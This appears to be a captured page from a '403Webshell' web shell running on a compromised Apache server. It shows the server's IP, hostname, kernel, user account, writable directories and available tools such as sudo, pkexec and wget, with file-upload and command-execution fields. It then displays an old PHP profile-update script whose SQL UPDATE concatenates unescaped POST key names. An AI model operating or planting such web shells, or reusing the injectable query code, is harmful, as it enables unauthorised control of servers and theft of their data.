403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/modules/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/modules/members/update_profile.php
<?
/* K-Rate
(C) Rinalds Uzkalns, 2003-2004. All Rights Reserved
http://turn-k.net

Version: 1.00 (22.09.04)
*/
?>
<?
//get user info
        include 'includes/verify_session.php';

//check required fields
        $result = sql_query("SELECT * FROM $questtable WHERE q_required=1");
        $blank = array();
        while ($line = sql_fetch_assoc($result))
                if ($_POST['edit_add'][$line['q_id']] == '') $blank[] = $line['q_name_'.lang];

        if (count($blank) > 0)
                $err .= _left_blank.' '.implode(', ',$blank);

if ($err != '') {
    //update error - go back
        $en['reg_error'] = '<font color=red><b>'._error.': '.$err.'</b></font><br>';

        if (is_array($_POST['edit_add']))
			foreach ($_POST['edit_add'] as $key => $value) $en['edit_add_'.$key] = $value;
        foreach ($en as $key => $value) $en[$key] = stripslashes(chop($value));
        $en['req'] = $req = 'profile';
        } else {
    //continue update
        if (is_array($_POST['edit']))
                foreach ($_POST['edit'] as $key => $value) $_POST['edit'][$key] = sql_escape_string(strip_tags(stripslashes($value),allowed_html));

        if (is_array($_POST['edit_add']))
                foreach ($_POST['edit_add'] as $key => $value) $_POST['edit_add'][$key] = strip_tags(stripslashes($value),allowed_html);
        
    //make update query
        $q = '';
        foreach ($_POST['edit'] as $key => $value)
                $q .= ', m_'.$key.'="'.$value.'"';

    //additional questions
        $addtn = base64_encode(serialize($_POST['edit_add']));
        $q = 'm_addtn="'.$addtn.'"'.$q;

        sql_query("UPDATE $membtable SET $q WHERE m_id=$en[m_id]");
        
        $en['message'] = _profile_saved;

        load_template('modules/members/templates/member_index.tpl');

        }


?>

Youez - 2016 - github.com/yon3zu
LinuXploit